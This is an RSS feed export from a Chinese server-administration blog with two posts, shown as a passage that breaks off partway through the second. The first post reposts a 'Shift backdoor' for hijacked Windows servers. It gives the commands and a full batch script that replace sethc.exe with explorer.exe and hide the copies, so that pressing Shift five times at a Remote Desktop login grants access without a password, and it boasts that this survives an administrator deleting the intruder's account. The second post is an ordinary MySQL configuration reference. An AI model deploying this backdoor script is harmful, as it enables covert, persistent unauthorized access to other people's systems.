<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; cache</title>
	<atom:link href="http://www.5bay.cn/tag/cache/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>无需输入密码登陆3389</title>
		<link>http://www.5bay.cn/server-building/eeeeee389.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT&#8217;s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">TITLE</a> Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%84%9F%E8%B0%A2" title="感谢" rel="tag">感谢</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeee389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql优化及全文搜索</title>
		<link>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html</link>
		<comments>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:29:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[含义]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[最快]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=373</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>mysql my.cnf文件常见优化模块 [mysqld] port = 3306 server-id = 1 socket = /tmp/mysql.sock # 避免MySQL的外部锁定，减少出错几率增强稳定性。 skip-locking # 禁止MySQL对外部连接进行DNS解析 skip-name-resolve # 指定MySQL可能的连接数量 back_log = 256 # 使用查询缓冲 query_cache_size = 32M query_cache_type= 1 # 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好 key_buffer_size = 256M # 允许的请求包大小 max_allowed_packet = 4M # 缓存可重用的线程数 thread_cache = 256 thread_cache_size = 64 # 每个线程的栈大小 [...]]]></description>
			<content:encoded><![CDATA[<p>mysql my.cnf文件常见优化模块<br />
[mysqld]<br />
port = 3306<br />
server-id = 1<br />
socket = /tmp/mysql.sock</p>
<p># 避免MySQL的外部锁定，减少出错几率增强稳定性。<br />
skip-locking</p>
<p># 禁止MySQL对外部连接进行DNS解析<br />
skip-name-resolve</p>
<p># 指定MySQL可能的连接数量<br />
back_log = 256<br />
<span id="more-373"></span><br />
# 使用查询缓冲<br />
query_<a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a>_size = 32M<br />
query_cache_type= 1</p>
<p># 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好<br />
key_buffer_size = 256M</p>
<p># 允许的请求包大小<br />
max_allowed_packet = 4M</p>
<p># 缓存可重用的线程数<br />
thread_cache = 256<br />
thread_cache_size = 64</p>
<p># 每个线程的栈大小<br />
thread_stack = 256K</p>
<p># 指定表高速缓存的大小 对于有1G内存的机器，推荐值是128－256<br />
table_cache = 256K</p>
<p># 查询排序时所能使用的缓冲区大小 每连接独占<br />
sort_buffer_size = 6M</p>
<p># 读查询操作所能使用的缓冲区大小 每连接独占<br />
read_buffer_size = 4M</p>
<p># 联合查询操作所能使用的缓冲区大小 每连接独占<br />
join_buffer_size = 8M</p>
<p>#MyISAM表发生变化时重新排序所需的缓冲<br />
myisam_sort_buffer_size = 64M</p>
<p># 指定MySQL查询缓冲区的大小<br />
query_cache_size = 64M</p>
<p>tmp_table_size = 256M</p>
<p># 指定MySQL允许的最大连接进程数<br />
max_connections = 768</p>
<p>max_connect_errors = 10000000</p>
<p># 指定一个请求的最大连接时间<br />
wait_timeout = 10</p>
<p># 该参数取值为服务器逻辑CPU数量×2<br />
thread_concurrency = 8</p>
<p>#记录慢查询,然后对慢查询一一优化<br />
log-slow-queries = slow.log<br />
long_query_time = 2<br />
log-queries-not-using-indexes</p>
<p>#关闭不需要的表类型,如果你需要,就不要加上这个<br />
skip-innodb<br />
skip-bdb<br />
#指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。     对于内存在4GB左右的服务器该参数可设置为256M或384M。     注意：该参数值设置的过大反而会是服务器整体效率降低！<br />
key_buffer_size = 256M</p>
<p>MySQL server has gone away 的解决办法</p>
<p>有时候使用MySQL(和PHP搭配之最佳组合)命令行导入备份时会出现“MySQL(和PHP搭配之最佳组合) server has gone away”错误，这可能是因为其中一些insert语句的大小超出了MySQL(和PHP搭配之最佳组合)目前设置的缓冲区大小。</p>
<p>解决办法</p>
<p>1.使用php(做为现在的主流开发语言)myadmin 备份MySQL(和PHP搭配之最佳组合)的时候，只选择</p>
<p>数据:<br />
     完整插入<br />
     扩展插入</p>
<p>扩展插入不要勾选</p>
<p>2.使用 MySQL(和PHP搭配之最佳组合)dump 备份的时候不添加 &#8211;opt  </p>
<p>这样就只会生成完整的insert语句，导入时候不会出错。</p>
<p>3.修改my.ini</p>
<p>打开my.ini 找到[MySQL(和PHP搭配之最佳组合)d]这一行，下面添加</p>
<p>[MySQL(和PHP搭配之最佳组合)d]</p>
<p>#扩大缓冲区<br />
max_allowed_packet=32M  <br />
保存后，重启MySQL(和PHP搭配之最佳组合)</p>
<div>
<p>my.cnf配置(转)</p>
<p>mysqld程序&#8211;目录和文件<br />
basedir = path 使用给定目录作为根目录(安装目录)。<br />
character-sets-dir = path 给出存放着字符集的目录。<br />
datadir = path 从给定目录读取数据库文件。<br />
pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。<br />
socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般<br />
是/var/lib/mysql/mysql.sock文件)。<br />
在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，&#8211;sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。<br />
mysqld程序&#8211;语言设置<br />
character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用&#8211;default-character-set选项给出; 但这个选项已经显得有点过时了。<br />
collation-server = name 新数据库或数据表的默认排序方式。<br />
lanuage = name 用指定的语言显示出错信息。<br />
mysqld程序&#8211;通信、网络、信息安全<br />
enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用&#8211;socket选项来改变。<br />
local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。<br />
myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。<br />
old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。<br />
safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。<br />
shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。<br />
shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。<br />
skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。<br />
skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。<br />
skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。<br />
skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接，不允许ICP/IP连接; 这提高了安全性，但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。<br />
user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行;<br />
mysqld_safe脚本将默认使用&#8211;user=mysql选项来启动mysqld程序。<br />
mysqld程序&#8211;内存管理、优化、查询缓存区<br />
bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。<br />
key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。<br />
join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。<br />
max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。<br />
max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。<br />
query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。<br />
query_cache_size = n 查询缓存区的最大长度(默认设置是0，不开辟查询缓存区)。<br />
query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1，启用查询缓存区(默认设置); 2，”按需分配”模式，只响应SELECT <a href="http://www.5bay.cn/tag/sql" class="st_tag internal_tag" rel="tag" title="标签 sql 下的日志">SQL</a>_CACHE命令。<br />
read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。<br />
read_rnd_buffer_size = n 类似于read_buffer_size选项，但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。<br />
sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小，则必须创建一个临时文件来进行排序。<br />
table_cache = n 同时打开的数据表的数量(默认设置是64)。<br />
tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。<br />
mysqld程序&#8211;日志<br />
log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。<br />
log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。<br />
long_query_time = n 慢查询的执行用时上限(默认设置是10s)。<br />
long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同&#8211;log-slow-queries选项)。<br />
log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志，binary update log)。这种日志的文件名是filename.n或默认的hostname.n，其中n是一个6位数字的整数(日志文件按顺序编号)。<br />
log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下，这个索引文件与二进制日志文件的名字相同，但后缀名是.index而不是.nnnnnn。<br />
max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前，MySQL服务器会自动提供一个新的二进制日志文件接续上。<br />
binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件，其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况，就必须在配置文件使用多个本选项来设置，每个数据库一行。<br />
binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。<br />
sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法，但效率最低。默认设置是n=0，意思是由操作系统来负责二进制日志文件的同步工作。<br />
log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数，MySQL会使用hostname.err作为种日志文件的名字。<br />
mysqld程序&#8211;<a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" class="st_tag internal_tag" rel="tag" title="标签 镜像 下的日志">镜像</a>(主控镜像服务器)<br />
server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。<br />
log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n，其中的n是一个6位数字的整数(日志文件顺序编号)。<br />
binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。<br />
mysqld程序&#8211;镜像(从属镜像服务器)<br />
server-id = n 给服务器分配一个唯一的ID编号<br />
log-slave-updates 启用从属服务器上的日志功能，使这台计算机可以用来构成一个镜像链(A-&gt;B-&gt;C)。<br />
master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件)，它将忽略此选项。<br />
master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。<br />
master-connect-retry = n 如果与主控服务器的连接没有成功，则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件，它将忽略此选项。<br />
master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。<br />
read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。<br />
read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。<br />
replicate-do-table = dbname.tablename 与&#8211;replicate-do-table选项的含义和用法相同，但数据库和数据库表名字里允许出现通配符”%” (例如: test%.%&#8211;对名字以”test”开头的所有数据库里的所以数据库表进行镜像处理)。<br />
replicate-do-db = name 只对这个数据库进行镜像处理。<br />
replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。<br />
replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。<br />
replicate-ignore-db = dbname 不对这个数据库进行镜像处理。<br />
replicate-rewrite-db = db1name &gt; db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。<br />
report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关&#8211;主控服务器可以用这条命令生成一份从属服务器的名单。<br />
slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信&#8211;如果它们都支持这么做的话。<br />
slave-skip-errors = n1, n2, &#8230;或all 即使发生出错代码为n1、n2等的错误，镜像处理工作也继续进行(即不管发生什么错误，镜像处理工作也继续进行)。<br />
如果配置得当，从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用<br />
slave-skip-errors选项，从属服务器上的镜像工作就可能国为发生错误而中断，中断后需要有人工参与才能继续进行。<br />
mysqld&#8211;InnoDB&#8211;基本设置、表空间文件<br />
skip-innodb 不加载InnoDB数据表驱动程序&#8211;如果用不着InnoDB数据表，可以用这个选项节省一些内存。<br />
innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。<br />
innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多数据表的话，这个数字很可能需要加大。<br />
innodb_data_home_dir = p InnoDB主目录，所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下，这个主目录就是MySQL的数据目录。<br />
innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。<br />
例如，ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB，ibdata2的最大长度也是1G，但允许它扩充到2GB。<br />
除文件名外，还可以用硬盘分区的设置名来定义表空间，此时必须给表空间的最大初始长度值加上newraw关键字做后缀，给表空间的最大扩充长度值加上raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。<br />
innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件，那些文件的增大速度相对是比较小的。<br />
innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源，就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。<br />
innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB，默认设置是1，意思是不把缓存在INSERT缓存区的数据写入数据表，那些数据将在MySQL服务器下次启动时再写入(这么做没有什么风险，因为INSERT缓存区是表空间的一个组成部分，数据不会丢失)。把这个选项设置为0反面危险，因为在计算机关闭时，InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作，操作系统也许会在它完成数据同步工作之前强行结束InnoDB，而这会导致数据不完整。<br />
mysqld程序&#8211;InnoDB&#8211;日志<br />
innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下，InnoDB驱动程序将使用MySQL数据目录作为自己保存日志文件的位置。<br />
innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后，之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。<br />
innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为”同步”)到硬盘上。设置值0的意思是每隔一秒写一次日志并进行同步，这可以减少硬盘写操作次数，但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT命令就写一次日志并进行同步，这可以防止数据丢失，但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法，即每执行完一条COMMIT命令写一次日志，每隔一秒进行一次同步。<br />
innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync，用fsync()函数进行同步; O_DSYNC，用O_SYNC()函数进行同步。<br />
innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能，把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有多大意义(启用MySQL服务器的二进制日志功能就足够用了)。<br />
mysqld程序&#8211;InnoDB&#8211;缓存区的设置和优化<br />
